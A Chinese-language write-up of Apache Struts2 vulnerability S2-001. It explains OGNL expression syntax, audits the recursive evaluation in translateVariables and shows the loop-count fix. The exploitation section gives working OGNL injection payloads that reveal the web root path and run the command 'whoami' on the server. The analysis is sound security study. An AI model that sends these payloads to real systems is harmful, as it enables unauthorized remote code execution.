Struts2-001

OGNL表达式

OGNL 是 Object-Graph Navigation Language 的缩写，它是一种功能强大的表达式语言（Expression Language，简称为 EL），通过它简单一致的表达式语法，可以存取对象的任意属性，调用对象的方法，遍历整个对象的结构图，实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。 OGNL 三要素：(以下部分摘抄互联网某处, 我觉得说得好)

1、表达式（Expression）

表达式是整个 OGNL 的核心，所有的 OGNL 操作都是针对表达式的解析后进行的。表达式会规定此次 OGNL 操作到底要干什么。我们可以看到，在上面的测试中，name、department.name 等都是表达式，表示取 name 或者 department 中的 name 的值。OGNL 支持很多类型的表达式，之后我们会看到更多。

2、根对象（Root Object）

根对象可以理解为 OGNL 的操作对象。在表达式规定了 “干什么” 以后，你还需要指定到底“对谁干”。在上面的测试代码中，user 就是根对象。这就意味着，我们需要对 user 这个对象去取 name 这个属性的值（对 user 这个对象去设置其中的 department 中的 name 属性值）。

3、上下文环境（Context）

有了表达式和根对象，我们实际上已经可以使用 OGNL 的基本功能。例如，根据表达式对根对象进行取值或者设值工作。不过实际上，在 OGNL 的内部，所有的操作都会在一个特定的环境中运行，这个环境就是 OGNL 的上下文环境（Context）。说得再明白一些，就是这个上下文环境（Context），将规定 OGNL 的操作 “在哪里干”。
OGN L 的上下文环境是一个 Map 结构，称之为 OgnlContext。上面我们提到的根对象（Root
Object），事实上也会被加入到上下文环境中去，并且这将作为一个特殊的变量进行处理，具体就表现为针对根对象（Root
Object）的存取操作的表达式是不需要增加 #符号进行区分的。

对表达式的简单使用说明

1. 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行。
例如：xxxx，xxxx.xxxx，xxxx. xxxx. xxxx. xxxx. xxxx

2. 对容器变量的访问
对容器变量的访问，通过#符号加上表达式进行。
例如：#xxxx，#xxxx. xxxx，#xxxx.xxxxx. xxxx. xxxx. xxxx

3. 使用操作符号
OGNL表达式中能使用的操作符基本跟Java里的操作符一样，除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外，还能使用 mod, in, not in等。

4. 容器、数组、对象
OGNL支持对数组和ArrayList等容器的顺序访问：例如：group.users[0]
同时，OGNL支持对Map的按键值查找：
例如：#session['mySessionPropKey']
不仅如此，OGNL还支持容器的构造的表达式：
例如：{"green", "red", "blue"}构造一个List，#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
你也可以通过任意类对象的构造函数进行对象新建
例如：new Java.net.URL("xxxxxx/")

5. 对静态方法或变量的访问
要引用类的静态方法和字段，他们的表达方式是一样的@class@member或者@class@method(args)：

6. 方法调用
直接通过类似Java的方法调用方式进行，你甚至可以传递参数：
例如：user.getName()，group.users.size()，group.containsUser(#requestUser)

7. 投影和选择
OGNL支持类似数据库中的投影（projection） 和选择（selection）。
投影就是选出集合中每个元素的相同属性组成新的集合，类似于关系数据库的字段操作。投影操作语法为 collection.{XXX}，其中XXX 是这个集合中每个元素的公共属性。
例如：group.userList.{username}将获得某个group中的所有user的name的列表。
选择就是过滤满足selection 条件的集合元素，类似于关系数据库的纪录操作。选择操作的语法为：collection.{X YYY}，其中X 是一个选择操作符，后面则是选择用的逻辑表达式。而选择操作符有三种：
? 选择满足条件的所有元素
^ 选择满足条件的第一个元素
$ 选择满足条件的最后一个元素
例如：group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。

漏洞利用

获取web路径

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()

rce

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

代码审计

漏洞点：

xwork-2.0.3-sources.jar!\com\opensymphony\xwork2\util\TextParseUtil.java

在while下打上断点

这里为了方便我就把执行换成username

debug三轮，index.jsp→login→name→%{name}就到了

首先是遍历expression:login

接着就是username

开始分析

走到

Object o = stack.findValue(var, asType);

获得对象o，值为%{1+2}

o对象不为空进入循环

再进入TextUtils.stringSet检查字符串是否设置为null或””

public final static boolean stringSet(String string) {
        return (string != null) && !"".equals(string);
    }

其实第一次看到这个方法以为是String值设置，直接返回空？

但是注释写的是判断。。。

然后从这一步开始，值就被解析为%{1+2}

再一次循环就解析结果了

实际上就是translateVariables下，递归解析OGNL表达式，对输入的%{1+2}继续解析导致被恶意利用

漏洞修复

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
    // deal with the "pure" expressions first!
    //expression = expression.trim();
    Object result = expression;
    int loopCount = 1;
    int pos = 0;
    while (true) {

        int start = expression.indexOf(open + "{", pos);
        if (start == -1) {
            pos = 0;
            loopCount++;
            start = expression.indexOf(open + "{");
        }
        if (loopCount > maxLoopCount) {
            // translateVariables prevent infinite loop / expression recursive evaluation
            break;
        }
        int length = expression.length();
        int x = start + 2;
        int end;
        char c;
        int count = 1;
        while (start != -1 && x < length && count != 0) {
            c = expression.charAt(x++);
            if (c == '{') {
                count++;
            } else if (c == '}') {
                count--;
            }
        }
        end = x - 1;

        if ((start != -1) && (end != -1) && (count == 0)) {
            String var = expression.substring(start + 2, end);

            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }


            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            String middle = null;
            if (o != null) {
                middle = o.toString();
                if (!TextUtils.stringSet(left)) {
                    result = o;
                } else {
                    result = left + middle;
                }

                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }

                expression = left + middle + right;
            } else {
                // the variable doesn't exist, so don't display anything
                result = left + right;
                expression = left + right;
            }
            pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
                  (middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
                  1;
            pos = Math.max(pos, 1);
        } else {
            break;
        }
    }

    return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

判断了循环的次数，从而在解析到%{1+1}的时候不会继续向下递归